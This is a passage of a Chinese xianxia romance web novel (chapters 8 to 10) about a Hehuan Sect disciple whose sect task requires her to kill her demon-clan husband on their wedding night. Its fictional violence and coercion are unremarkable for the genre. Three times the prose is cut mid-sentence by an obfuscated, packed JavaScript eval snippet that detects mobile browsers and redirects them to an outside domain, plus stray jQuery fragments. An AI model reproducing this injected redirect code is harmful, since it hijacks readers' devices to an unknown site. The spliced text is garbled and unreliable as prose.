岑竹则抛出了一柄黑漆漆的剑,剑身在半空流畅地转了一圈后,忽然在剑柄部分张开两片宽大的黑色骨质翅膀。 羽毛之间互相拼接,连接处带着微暗的红色渐变,剑刃往中间收缩环抱,最终形成一个完整的圆,落叶一般轻飘飘旋转至他的脚边。 他一脚踏上,飞至温言身畔。 岑竹的武器竟然是一柄会变形的黑色骨剑,眼前这一幕着实让温言有些讶异。 黑色剑刃天然能隐匿于夜色之中,不但出手时不见光影,连杀人都是沉默无声的。 这样的武器真的漂亮,也真的少见。 岑竹踏上圆形的骨翅,身姿优雅舒展,一头长至腰间的卷发在风中拂动。 此刻正微微垂下眼看着她,目光专注且温柔,仿佛邀请她再靠近一点。 因他的动作,这一刻的冷酷莫名增加了些诱惑的意味。 顶着他这样的目光,温言总有些不太自在。 她一直以为是任务的压力太大,从而产生了强烈的危机感,却根本不知道这是她被岑竹诱惑之后,最本能的反应之一。 ———— 岑竹是魔族,引诱是他与生俱来的种族天赋。 在感情上,岑竹有自己的骄傲,并没有以此来迷惑、动摇温言的心神,让她轻易爱上自己。 在修为上,齐飞墨曾称他“修为不济”,其实这句话说的没错,岑竹的修为只能算作稀松平常。 原因很简单,他是魔族,但血统不纯。 魔主子嗣众多,岑竹自小身份尊贵,姿容出众,即使修为平平,却最被魔主偏爱。 在兄弟争权夺位时,他一度觉得事不关己,毕竟魔族以实力为尊,未来的储君自然得是最强的王者。 可他没能想到,为了争权夺利,他的各个兄弟们手段频出,将皇族的政权斗争最终发展为手足相残,手段之激烈,争斗范围之大,前所未有。 他没能防范得住来自最血脉相近之人的轮番刺杀,身受重伤,拼死逃脱,奄奄一息。 遇到温言是他人生的一个转机。 但当温言问他来历的时候,岑竹没有和盘托出。 他不能,也不敢赌。 随着伤势转好,岑竹联络上了魔域的一部分手下,并吩咐他们去查有关温言的情报。 仙门并非固若金汤,他要的情报到手速度很快。 或者说,想要获得这个曾经合欢宗天才的情报其实是一件非常容易的事情。 情报上将温言的经历写得清楚明白。 ——天之骄子,跌落凡尘,下山历练。曾经的天才弟子温言早已陨落,如今整日浑浑噩噩,不思进取,是整个修仙界公认的废物。 岑竹震碎手中密信,不以为意地嗤笑一声。 “温言……废物?” 魔族不仅擅长蛊惑人心,还尤为慕强。 他一眼看中并喜欢的人,怎么可能是废物。 ———— 小山一般的大婚物品在灵力的牵引下,晃晃悠悠地前往各自的位置,就像是被一只无形之手牵引拉扯,直至妥善摆好,井然有序。 药铺后院常年处于禁制覆盖的隐秘状态,并施加了法阵进行日常运转和维护,添上喜庆而亮眼的红色后,到处都弥漫着新婚的氛围。 漆色大门缓缓打开,贴了囍字的明红色灯笼高高悬挂在走廊各处,照得各处一片暖色。 温言自半空缓缓下落,足下折扇化为一道流光归于袖中,携着岑竹一同往院落深处走去。 婚房之中,红烛燃起,灯影微晃,桌上交杯酒盏一应俱全,大红被罩与抱枕叠放整齐,只待一双璧人共赴佳期。 温言一踏入房中,就被被满眼的红色晃到了眼睛。 她的目光逡巡,直到落到岑竹的一身黑衣上,却忽然感觉有些不太对劲。 她又低头,看到了自己同样的寻常打扮,不禁笑出了声; “你瞧,忙了一圈,结果我们两个都连喜服都没穿。” 两套大婚衣物是温言逛街时最早就定下的,也是被她忘得最彻底的。 其实岑竹早就发现了,但太过紧张了,话全堵在嗓子里没说出口。 他面上有些薄红,低声道:“我本来想提醒你的。” 温言的身影没入绣着层叠花朵的屏风之后,很快换好一身红色嫁衣,她手上抱着方才换下的常服,放在房间的木柜中,关上柜门。 而后转身递给岑竹另一件婚服:“你将衣服换好,在这等我。” 她理了理有些散乱的长发,径直往门口走去。 没想到手指刚刚搭上门框,就被岑竹拉住了袖口。 他的声音听起来有些可怜兮兮的:“你要去哪儿?” 温言回头笑道:“就算已经换上了婚服,我还得梳妆打扮啊。” 凡间的女子会在大婚之日盛装打扮,以最美的姿态等待她的夫君。既然答应岑竹要按照凡间的风俗,那些繁文缛节也不能全都置之脑后。 但大婚所束的隆重的发式她完全不会,还得找个巧手的姑娘梳妆一番。 看着岑竹有些紧张的表情,温言哭笑不得:“我只是出门一趟,很快回来。” 直到温言的身影消失在视线之中,岑竹才依依不舍地关上了门。 他慢吞吞地换上了大红婚服,扎上了崭新的红色描金发带。 明亮的铜镜中,他一身裁剪利落的红衣,目光忽而一转,注意到镜子角落里反射的一抹白色。 是一块白玉腰牌,他弯腰捡起,转到正面,却见其上雕刻的名字赫然是“合欢宗温言”。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15602855|172045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>岑竹调查过温言的情报,知晓她的宗门,弟子玉牌能够证明宗门弟子的身份,甚至有一些特殊用途。 他打开柜门,打算替她将令牌放好。不料手指不经意地碰到了其中的某处。 一时间红光大盛,仿佛蛰伏的猛兽骤然惊醒,玉牌滚烫如熔岩,他下意识缩手,玉牌自他手中滚落在地。 只见一道卷轴忽然在半空中徐徐展开,其上描着繁复合欢花纹。 层叠的花瓣跃然纸上,似真似幻,仿佛即将破纸而出。 岑竹还在惊愕当中,又见四周空间扭动。 杀夫证道四个血红色大字横空出世,悬于半空,血气森森,连鼻端都仿佛、传来了铁锈的腥味。 岑竹修为不济,被卷轴的威势陡然压得喘不过气,只能死死握拳,手背上青筋暴起。 他半跪在地,仰头看着眼前的几个字,眼中血丝弥漫。 若不是这真实存在的威压,将自己死死压制在地上,还以为自己产生了幻觉。 岑竹将这四个字翻来覆去地默念了无数遍,面上血色尽失,一时难以置信,头晕眼花,几乎昏死过去。 他骤然想起来,在调查合欢宗的情报当中,曾提及过合欢宗有一种特别任务,名为宗门任务。 宗门任务与弟子令牌绑定,奇异诡谲,非人力所能改,一旦触发,非生即死。 他闭了闭眼,深吸一口气。 即使指尖在忍不住颤抖,却仍往前缓缓伸手,直到触碰到令牌上凸出的“温言”二字,才终于确定了心中所想。 岑竹不禁想到,温言是否就是因为被这个诡异的任务逼至绝境,无路可走,才会勉强同意与自己结为道侣。 当时他所说的那句“我想娶你”,温言并没有直接回应,而是反问自己愿不愿意做她的道侣。 想到这里,岑竹自嘲地笑了起来,眼中闪过浓重的恨意。原来从一开始,温言只是为了利用他,才会救他。 ——现在想来,竟是自己主动送死。 悲愤交织下,他一手死死捂住闪烁着紫芒的双眼,另一只手猛然收紧成拳,向下砸去。 鲜血淋漓。 ———— 温言心中挂念岑竹,梳好发髻,打扮妥当后,便以最快的速度御风赶回。 推门而入时却见岑竹半靠在桌面上,一动不动,仿佛睡熟了。 她回身关门,动作间带出些许轻响,再转身时,岑竹已经抬眼看来。 他神色清明,语调平静:“你回来了。” 温言笑着点头,缓步向他走去。 乌黑而笔直的长发顺着柔滑的红色料子垂坠而下,其上发髻精致,腰间环佩叮当。 一身大红色喜服在她的身上显得格外娇俏,连面色都红润了三分。 “好看吗?”她对着铜镜理了理额前的碎发。 当然好看,岑竹在心中回答。 如果这不是专门为他设置的陷阱的话。 温言半晌没等到回答,反而敏锐地发现他眼中未散的血丝。 她有些踌躇,试探道:“你是不是太累了?” 岑竹坐在床边,闻言摇摇头,伸出双手环住她的腰,将脸埋了进去。 温言摸索着握住岑竹扣在自己腰后的手,却被闪躲了一下,她飞快制住那双乱动的手,却骤然摸到了粗糙的伤口形状。 不远处的大红地毯上有一小片深色,腥味很淡,竟是血迹。 岑竹反应很大地挣动了一下,竟是想抽身离开。 温言就是再迟钝,此刻也发现了诸多不对劲之处。 她心中确信,岑竹的手是在她外出的那段时间才受伤的,思及他眼中忽然出现的血丝,迟钝的反应,以及不同以往的抗拒动作。 温言的目光瞬间冷了下来。 9. 第 9 章 果不其然,在衣柜前的大红地毯上,温言看见了那块被自己落下的弟子令牌。 通常来说,令牌上绑定的任务,只有持有令牌之人才能触发,但对于修真者来说,道侣本是一体。 她目光紧缩,忽然意识到自己忘记了一件事。 她已经与岑竹在天道见证下结为道侣,宗门任务自然会将他们视作一人。 原本只有自己才能看到的任务卷轴,如今被岑竹捡到,还看到了其中的任务内容。 就算她还没有动任何的杀心,但在杀夫证道任务在身这件事,她没法解释。 怀疑的种子一旦种下,再解释也没有用了。岑竹已经起了疑心。 岑竹看着她的侧脸,一字一顿地问道:“为何选我做你的道侣?” 温言瞒着他许多,若非机缘巧合发现这枚令牌,他不知还要被蒙在鼓里多久。 难道是因为他是被她从山里捡到的,看似没有任何背景,又听话,还执着地喜欢她吗? 岑竹轻叹一声,如果他不是另有身份的话,可真是个完美的任务对象,随便杀了都不会有人知道。 温言沉默不语。 连她自己都搞不清,又怎么给别人答案。 岑竹漆黑的骨剑如鬼魅般出现,悄无声息地贴在温言的脖子上,刀锋无光,却寒意侵骨。 脖子传来刀刃的凉意,她的脸上却毫无惧色,反而目光下移,近距离地观察起这把特别的剑:“你手中的这柄骨剑很少见,你是魔族?” 看到这个武器的第一眼,温言就已经发觉不太对劲了,没有一个正派修仙者会使用骨剑这样邪门的武器。 岑竹盯着她,忽而挑眉,连笑起来都是怒意十足。 她倒是敏锐。 也对,他早知道,自己看中的人,怎么可能是个废物? 他原本打算在今晚大婚之前就向温言坦白一切的,之前也没有蓄意隐瞒自己身上的一切,只是没有明说。 如今确实将一切都讲明了,可惜两人的立场却已经完全敌对。在他摸清温言底细的同时,可能自己也被对方调查地清清楚楚。 果然,温言继续开口道:“我查过你所说的门派,里面没有你这个名字的弟子。” 那个门派只是他手中势力之一,当然不可能有和他重名的弟子。 毕竟,与皇族同名是重罪。 只是那样一个往返路途遥远的小门派,也值得她花大力气去查证吗? 对温言来说,在岑竹身上花点心思当然值得,她的身边,本来就没有几个亲近的人,曾经岑竹算一个。 只不过调查出来的情报传回来太慢,加上他先前表现得实在太好,对自己百依百顺,一往情深。 尽管她将那些蛛丝马迹都看在眼里,理智上知道不合常理,却一时放松了警惕,相信他另有苦衷。 没想到他却瞒了自己这么大一件事。 仙魔之间曾经爆发多次战争,彼此之间难以和谐共处,修真之人对于出现在修仙界的魔物,都会采取最为严苛残酷的刑法。 温言想起两人初见时的情景,那双水色弥漫的眼睛,平静之下仿佛藏着漩涡,能放大心中的欲望。 听说魔族品性卑劣,无视规则,擅长玩弄人心。 原来早在那时,她就已经被岑竹诱惑,乱了心神,产生了本不该有的妄念。 温言张开手掌,手中精纯灵力缓缓汇聚成一条金色的锁链,随着金光大涨,倏然窜出。 岑竹意识到不好,提剑抵抗,却还是迟了一步。 温言控着灵力与岑竹在空中周旋了几个回合,锁链在灵力的操控下如蛇如电,力道刚猛却又灵活至极。 她在几轮游走中找准了机会,甩出锁链,狠狠地缠住他的小腿。 而后汇聚缠紧,一并捆住岑竹的另一只腿,扣住他的手腕,缓缓攀上他的腰身。 岑竹挥剑欲砍,温言却不给他自伤的机会。 他想要运转灵力抵抗,却发现自己的灵力在不断被消减;他想要挥出手中的黑色骨剑,却因灵力不济,手中一松,彻底失去反抗能力。 他越是挣扎,越是被捆得严实,层层锁链缠绕拉紧,根本没有任何后路,因为所有的路都被温言堵死了。 岑竹为数不多的灵力流失殆尽,骨剑与地毯相撞,发出一声很沉的闷响。 岑竹第一次见到温言出手果断,毫不留情的一面,一边气得浑身发抖,一边又因为慕强的心思作祟,挪不开看向她的视线。 心中一时灼热,又一时冰凉。 温言注意到他看来的动作,想起魔族擅长诱惑人心,心中一惊。 她扯下岑竹新换上的发带,蒙住他的眼睛,然后伸手一推,岑竹结结实实地摔在床上,再也挣扎不动。 他脸上一阵红一阵白,快被这愚蠢的举动给气笑了:“你若是害怕魔族的蛊惑天赋,光是给我蒙上眼睛有什么用?” 魔族,尤其是其中的皇族一脉,若有心蛊惑一个人,实在太容易了。 全身上下,包括声音气味,都能作为诱惑的媒介与武器。 他没有这样对她,不代表他做不到。 温言却将岑竹的话完全理解偏了。 她静静地站在床边,思索片刻,下了判断:“也对,早在第一次见到你时,你就在蛊惑我了,对吗?” 岑竹怒极反笑:“所以你以为,那时候是被我蛊惑了才会救我?” 温言理直气壮:“难道不是吗?” 她下山只是为了找一个完成任务的契机,并不喜欢治病救人。但在看到岑竹的第一眼,就没能挪开眼睛。 理智根本无法阻挡她的本能。 她当时只有一个念头:如果不救他,我会后悔的。 现在回想起来,连温言自己都觉得不可思议,当时毫不犹豫的救人举动,就像是被摄了心神一般。 眼前灯光旖旎,一切都覆上了柔和的光晕。 年轻的魔族衣衫不整,发丝散乱,微卷的长发往后披散,仰倒在大红色喜被上。 他被金色锁链自上而下地缠住,像是一件绑好的漂亮礼物。 确是艳色无边。 温言肯定道:“即使到了现在,你还是在诱惑我。” 岑竹冷笑:“你在说这种话之前,能不能看看是谁将我绑成这个样子的?” “因为不能让你跑了。” 话虽如此,她却不敢再直视那双波光潋滟的眸子,在原地留下禁制后,转身离开了房间。 她的宗门任务全都系于岑竹一身,无论如何,这家店铺已经不能再开了。 店里的一切事宜都需要在最快时间内转移,其余人等也需要安置。 温言将整个店铺里的药材与物件飞快地清点完毕,放入储物袋,并连夜叫醒了正在熟睡的管家。 管家正是睡眼朦胧,猛然被塞了一只温言强行塞来的储物袋,还不知道发生了什么。 直到走入店内看着眼前空空荡荡的店铺,他才猛然惊醒:“大小姐,铺子里怎么空了,你这是要做什么?” 温言长话短说:“店里所有的东西都在你手中的储物袋中,我给你一丝灵力,可将它打开,你之后寻个安稳所在继续开铺子。 看见温言的神情慎重,管家也神色肃穆:“就算换个地方开铺子,可店里不能没有掌柜。” 温言给了他一个安慰的笑:“事情若办完,我会去寻你的。” 铺子旁隔间其他熟睡的人也一同被叫醒,温言给他们发了远超预期的酬金与赏钱,让他们即刻离开。 做完这些,温言一个人站在空荡荡的店铺里,轻叹一声,转身往后院方向走去。 月光寂寥,在她身后拉出长长的一道影子。 ———— 今晚不是寻常的大婚之夜,而是她为了测试任务进度留出的重要一晚。 即使今夜之后,一切都将走向未知。 温言想要要搞清楚,她与岑竹之间的接触与互动,是否会影响到任务中的其他合欢花的掉落。 她与岑竹结为道侣后,落下了一朵,如今还剩下八朵。 这并不是简单地杀掉道侣,就能解释的,肯定还有一些任务要求隐藏其中。 一路走来,她设下的法阵与禁制都运转如常。 期间有几道黑影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15602856|172045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从院子上方无声划过,若非温言神识敏锐,不一定能发现的了。 大概是岑竹的手下。 但如今岑竹的一切讯息都被她所设的禁制阻隔在婚房之内,院子里又设置了各种防护法阵,即使那些属下想要营救,也得先将这些全都破开才行。 以他们目前的修为,估计还要一段挺长的时间。 回到房间,温言走至床沿,侧身坐下。 岑竹背过身去,不想见她。 先前温言为了大婚的妆容发髻,一个人出门许久,让他等着,如今将他五花大绑在房间里,又让他等了半天。 他被束缚在床上,什么都不能做,还被栽赃了一个蛊惑人心的罪名,气得眼睛都红了。 温言不知道岑竹的想法,很轻地地碰了碰岑竹的手臂,像是一个若有似无的安抚。 而后将指尖继续摸索往下,摸索到岑竹的指节,而后准确无误地与他十指相扣。 “今晚,你只需要配合我就好。” “不要动,也不要反抗。” 岑竹被红色发带蒙着眼睛,又被限制住了灵力,视线里满目红色。 听到温言的话,他嗤笑一声,不以为意。 却在下一秒愣住。 即使仿佛蜻蜓点水,他也意识到,那不是触碰,而是一个轻柔的吻。 片刻后,温言脸上带着遗憾之色,松开手指:“看来这样不行。” 转而伸手捏住岑竹脑后的发带,一把扯下。 重见光明的一瞬间,岑竹一瞬间难以适应过于刺眼的光线,只觉得眼前一片空白,天旋地转。 他闭眼半晌,睁眼却见温言正坐在自己身边,聚精会神地看着自己,神情专注,无比仔细。 他蓦然有些毛骨悚然。 果然,不好的预感在下一秒落到了实处。 ——温言又欺身而上,白皙的指尖搭在他的侧脸,沿着他的下颚一路滑至喉结。 岑竹又羞又恼地偏过头,勉力往床内角落缩去,怒斥道:“你做什么!” 却见温言面上表情近乎冷漠。 即使做着这种令人浮想联翩的暧昧之事,她的动作仍是冷静的,有条不紊的。 根本没有女子会有的羞涩反应。 岑竹猛然惊觉。 回房之后,她仿佛变了一个人,动作大胆又冷静,对他做的一系列事情,都像是在做各种不同的尝试,观察能否得到她预设的结果。 结合任务令牌,他瞬间理解了她的动机:“你这样做,并非对我有意吧。” 温言没有否认:“只是想确定一下,这样做有没有效果。” 而后她摊了摊手:“不知道问题到底出在哪里,但目前为止,没一点用。” “不过别担心,只要全都试一遍就都知道了。” 岑竹嘴角扯出一丝冷笑:“你都要取我的命了,凭什么以为我还会像以前一样,什么都听你的,什么都配合你?” 他以前是傻了些。 对兄弟争权并不设防,差点死在内斗之中;对心上人付出真心,却发现她根本不懂心意,只想着完成任务。 岑竹手腕微动,一缕黑气自指尖溢出,缠绕上身后手腕上的金色锁链,缓慢侵蚀啃咬。 不出片刻,竟将那处的金色灵气损耗了一些。 如今他只需要拖延时间。 温言面上从容,实则也很焦急。 修真界的道侣关系比凡间严苛许多,一旦成立便无法解除,合二为一,荣辱共担。即使一方死了,道侣关系也不会因此而断绝。 这也是修士结为道侣时万分慎重的原因之一。 岑竹这样的魔族来到人间,身边还有数量不明的得力帮手。 即使两人已相伴一年,她在不知岑竹所图为何的情况下,不会让他继续留在自己身边。 方才,温言已经书信一封寄给师父。 得到准许后,她将会依照仙盟律法,先行将岑竹扣押于宗门地牢,等待仙门的进一步裁决。 而现在,距离师父赶到此处大概还有半个时辰。 温言面色也沉了下去,不欲与他多言。 10. 第 10 章 温言攥住岑竹的手腕,欺身而上,与他鼻尖相碰,呼吸相闻,抬起指尖点了点近在咫尺的嫣红唇瓣,指腹来回摩挲,反反复复。 岑竹的长发潮湿,贴在额际,随着她的动作皱起眉头又松开,而后再皱紧。 明明是寻常的抚摸动作,此刻却在时间的煎熬下变成了一道残酷的刑罚,简直像在故意折磨一样。 “……你!” 岑竹一时气急,手腕上的黑气加速催动,与锁链上的灵力相互消减,腕上金光越来越弱,直至剩下一层纸皮。 他深吸一口气,手腕一扭,干脆利落地扯断灵力锁链,而后就势带着温言滚了一圈。 昔日的囚徒重获自由,虽然居于上风但脸色很差:“想出这种法子折磨我,很有趣吗?” 任谁被她这样作弄,都不能保持心态平和。 “哎,疼。”温言轻哼了一声。 岑竹虽然气她,但理智尚存,强忍怒气放松了手上力道。 “你知道自己在做什么吗?” 温言自顾自地笑了起来:“知道啊,合欢花又落下了一朵,这可真是,太出乎我意料了。” 又是那个诡异的任务。 他今天被任务两个字刺激得不轻,手掌张开,将温言的两只手腕扣在一处,空出的另一只手往下摸索挂在她腰间的令牌。 令牌灼热,红光闪烁。 红得扎眼的合欢花枝舒展妖冶,果真有落花静静伏在卷轴底部,仿佛沉眠。 余光瞥见温言脸上真切的笑容,岑竹发现原来她开心的时候,是这样笑着的,明亮得没有一丝阴霾。 她总是在权衡利弊,那她以前的所作所为,难道都是给他看的面具吗? 岑竹一时神思恍惚,赌气似的吻了上去。 一切仿佛静止。 他俯身而下,扣住她的手腕封锁灵力,让她短时间内无法动弹。 就像方才温言用灵力锁链对自己所做的一样。 与方才温言蜻蜓点水的吻不太一样,他闭了眼,憧憬又颤抖着,在她的唇角落下一个很轻的吻。 双唇相贴之处触感温软,还带着丝丝清甜,像夏日里成熟的果实,甜美而芬芳。 他尝到了甜头,眼眸瞬间亮了起来。 再落下一吻的时候,便不复先前那么轻柔,这回他撬开牙关,长驱直入,追逐纠缠,充满了攻城略地的意味。 温言被吻得措手不及,睫羽轻颤,心绪大乱,全身灵气暴戾,但岑竹强硬地扣住她的手腕,压制灵力运转。 唇齿相贴之间,她听见一声轻笑。 温言浑身一滞,狠狠地咬了他一口,很快便在唇齿间尝到了甜腥味。 唇瓣传来一阵刺痛,岑竹如梦惊醒一般抬起头,呼吸炽热,面色潮红。 温言毫不客气地用余光狠狠地瞪了他一眼, 但岑竹只清醒了短暂的一瞬,他臂弯一勾,又继续将她抵在床头厮磨啃咬。 魔修皮糙肉厚,像一堵山似的压在自己身上,像只饿了太久的狼,护食得很,连眼睛都冒着绿光似的。 温言感觉到自己的唇角火辣辣的,大概是被啃破了。 她眼神一暗,经脉中灵力倒行,尽管代价巨大,但终于可以重新动用灵力。 精纯的灵力自半空汇聚,形成一道银色的电弧缠绕的灵力锁链,噼啪之声不绝于耳。 如今这道遍布着雷闪的锁链,只要抽下去一道,魔族非死即伤。 就在此刻,风动花落。 温言感应到神识中一声熟悉的轻响,回过神后,她盯着识海中的合欢花,一时有些愣怔。 已经是第三朵了。 温言自接到宗门任务后,在下山的几个月里费心布局,思虑筹谋,却收效甚微。 但在与岑竹结为道侣的短短的时间内,竟然已经连续落了三朵合欢花。 她清醒地意识到,只要道侣双方产生强烈的情绪碰撞,哪怕是让自己不悦甚至恼怒的举动,却是任务喜闻乐见的。 温言深吸了一口气。 胸腔内各种激烈的情绪仿佛一锅乱炖的粥,混杂交织在一起,几乎要沸腾爆开。 那道遍布雷闪的灵力锁链在半空顿了一顿,往下挥出一鞭,挟着雷霆万钧之势席卷而来。 一声重击破空而来。 岑竹捂着胸口,咳出一大口血,背后的红色婚服焦卷,血肉翻开,一道伤痕遍及整个背部,深可见骨。 伤口处跳跃着银色电弧。皮肉焦糊的气味混合着浓重的血腥味,一时间场面仿佛人间炼狱。 与此同时,温言因为经脉逆行,加上强行收敛了灵力,张口呕出一口血来。 岑竹不顾自己的伤势,松开了对温言的束缚。 汹涌的灵气立刻灌入温言经脉,飞速运转。 她抓住机会,操控着灵力锁链再次将他捆成了粽子,擦了擦唇上的血,动作粗暴地把他扔到了床下。 岑竹随意靠在一根床腿上,唇角血迹鲜红,他面上笑吟吟的,对背后那道狰狞伤口毫不在意。 他看出来温言在最后关头收手了,些许的温柔让他不由自主地产生了一点奢望。 她有没有可能,是在意自己的? 温言斜睨了这个胆大包天的魔族一眼,翻身而下,揪住他的衣领,将他拽到自己眼前,咬牙切齿道: “你可真会得寸进尺啊。” 岑竹仰头,眼中水光氤氲:“你都说了,我是一个可鄙的魔族,那我自然不能让你失望。” 温言噎住,胸口起伏半晌,转过脸去。 魔族太过厚颜无耻,她不能上当。 忽闻一声脆响,结界罩破裂,自半空落下无数透明的结界碎片。 其上灵光消散,化为飞屑,仿佛一场落雪。 温言目光一凝,看向那处方向,暗中自袖中摸出一把折扇。 手腕转动,扇面展开,只见一阵狂风拔地而起,隐藏在暗处的几个人全都被风卷了出来。 她合拢折扇,扇骨轻敲手心。 温言似笑非笑地看向岑竹:“是你的属下?第一次见面,就打碎了结界,送了我好大一份礼。” 这些人身形不定,如烟如雾,如影子般沉默不言,与魔族的描述十分吻合。 而且结界本不应这么快被破开,想来为了营救岑竹,用了不小的代价。 这些确实是岑竹暗中联络的魔族部下。 一开始他们想偷偷潜入,不打草惊蛇。可是这个合欢宗女修在符术上的造诣颇深,设的阵法此消彼长,难以寻到潜入的缝隙。 况且主上没有放出一点消息,恐怕已经遇险。 他们干脆以损伤精血为代价,动用了一种特殊的秘法,终于在最短时间内破开法阵,进入其中。 没想到第一眼就看见主上被合欢宗妖女绑了扔在地上,后背血肉模糊,伤口上的电弧冷光闪烁不定。 是他们一族很是忌惮的雷咒。 魔族行动向来有序,领头魔族打了个手势,剩下的魔修瞬间一拥而上。 温言则哗啦一声展开手中折扇,脸上笑意漫不经心。 仙魔之间相互对立已久,岑竹虽然受伤,但他清楚温言并没有对自己下死手,但若是属下与温言正面对上,是讨不到好处的。 于是他轻喝一声:“住手。” 黑影仿佛被这句话定住一样,恭敬退至一边。 温言敲了敲折扇,咬破指尖,绘就一张符箓后当空拍去,只见法阵损坏之处光芒大盛,闪烁了片刻竟恢复了原样。 “既然来了,不如留下来做客?” 温言对着一众魔族笑得十分和善,修补完毕的法阵飞速运转,将整座院落围得紧实严密,无懈可击。 仿佛一场精心设计的瓮中捉鳖。 温言回身,在岑竹面前蹲下认真道:“你属下的命现在握在你手中。” 酷烈的雷咒遍布他的全身,电光闪烁之处皮开肉绽,他脸上汗水涔涔,已经没力气抬头。 “什么条件,你提。” “和我完成剩下的大婚仪式。” 今天的一切都和任务进度息息相关,但显然,岑竹已经对她产生敌意,不愿配合她。 如今之计,只有用他属下的性命强迫于他才是最好的选择。 岑竹艰难地动了动指尖,蹙了眉头,如今淬了雷火的灵力锁链比先前结实难缠。 见他不言不语,温言去旁边取下大红盖头。 趁此机会,岑竹给了属下一个手势,一团汇聚的黑火自他们指尖溢出,从阴影处游走,消失在他的衣袍下。 温言边走边道:“原本应由你为我掀盖头的,但如今……”她停顿了片刻,接着道,“还是我来吧。” 她将盖头抖开,盖上之前,用眼神再次询问了岑竹。 同意,还是拒绝,都可以选。 反正代价他付得起。 岑竹苦笑一声:“你都将我捆成这样了,还要我如何?” 他身后一排魔修知道帮了倒忙反成人质,连大声喘气都不敢,躲在阴影里,黑漆漆地仿佛没有任何存在感的影子。 这种答复,温言就当他默认了。 盖头落下,大片的红色笼罩住岑竹的视线。 温言随着他一同坐在床下,不羁地支着一条腿,手持折扇,随意挑开盖头的一角。 昏暗光影浮动,她的视线顺着岑竹扬起的脖颈,到轮廓分明的侧脸,心中一动,手中扇骨将红布挑得更高了些。 灯下看美人,确实别有一番滋味。 可惜她的道侣此刻脸色阴沉,双唇紧抿,眼中仿佛酝酿着一场席卷而来的风暴。 温言扬手将盖头掀开。 大红盖头在空中旋转落地,一柄材质特殊的刀刃抵在温言胸口。 是岑竹的骨剑。 他方才化用了属下的魔力,撕开了温言的束缚,拔剑相向。 “以前你误将我当成修士,救我,帮我,留我;如今只因我是魔族,便伤我,辱我,还要杀我,是吗?” 岑竹后背的血迹染红了一片,面色惨白,连声音都在发颤。 温言轻笑一声:“我辈修仙者对上魔族,本就人人得而诛之。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15602857|172045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 岑竹难以置信地看着她,仿佛第一次看清她的模样。 眼前之人曾经是他爱慕已久的心上人,可她转眼却能毫无愧疚地伤害他,利用他,用其他魔族的命威胁他。 温言说魔族是一种卑劣,狡诈,无情的种族,可她所描述的,不就是她自己吗? 岑竹握紧剑柄,骨剑刺入温言胸膛,手中血液黏腻湿滑,他却在绞碎她灵脉前迟疑了。 她天资卓绝,曾是仙门的天才,以后未必没有东山再起的机会,但若灵脉被绞碎了,一切都真的彻底结束了。 剑气激荡,他却犹豫不前。 温言往前一步,徒手抓住了漆黑的剑身,雪亮剑刃进一步刺进她身体,她却仿佛感受不到疼痛似的。 岑竹反而后退一步,面上闪过一丝不忍与痛楚。 与此同时,识海中“叮铃”一声熟悉轻响,是任务进度更进一步的提示。 ——岑竹的犹豫,果然也是推动任务进度的重要助力。 温言心中仿佛被一只手扯了一下,但她清楚,在生死之间,任何犹豫都会造成难以估计的意外。 她的计划环环相扣,容不得任何差错。 魔族难杀,其中一部分原因就是因为对战时找不到要害。 他们的要害不在脖颈,也不在心脏,而是魔气最为充盈之处,用来蕴养魔魂。 换句话说,魔魂消散,就是魔族真正的死亡。 她袖中利刃现出,毫不犹豫地挥向岑竹神魂之处,一声血肉穿透的轻响,那柄小巧锋利的刀刃稳准地扎入岑竹魔魂。 岑竹唇边溢出鲜血,喉间发出难以控制的痛苦嘶鸣。 温言不曾看他一眼,她低头看向自己的匕首,握住了刀柄。匕首拔出的同时,她也被鲜红温热的血迹溅了满身, 她往自己口中塞了一瓶续命丹药,后退两部,将岑竹刺入自己胸膛的骨剑也拔了出来。 两人相对而立,血迹斑驳,仿佛淋了一场血雨,分不清到底是自己的还是对方的。 院中的禁制再次被触动,温言若有所感,骤然抬头。 月色溶溶,那人身姿翩然,衣袍翻飞,清冷目光正对上温言的视线。 师父到得比她预料的还要快了些。 这也意味着原本的计划产生了新的变数。 她咬了咬唇,忽然祭出袖中折扇飞身而上,三两下就把缩在阴暗角落里的魔修叉出了结界。 岑竹心中叹了一声。 结界大开,月下身影缓缓降落,温言将他迎了进来,恭恭敬敬地喊了一声师父。 尹雪楼一向神色淡淡,但在看到温言胸前的大片猩红时,神色骤冷。 温言赶紧解释:“小伤,不妨事的。” 尹雪楼盯了她片刻,又将目光转向温言面前的男子,眸色渐深:“你选择的任务对象,就是他吗?” 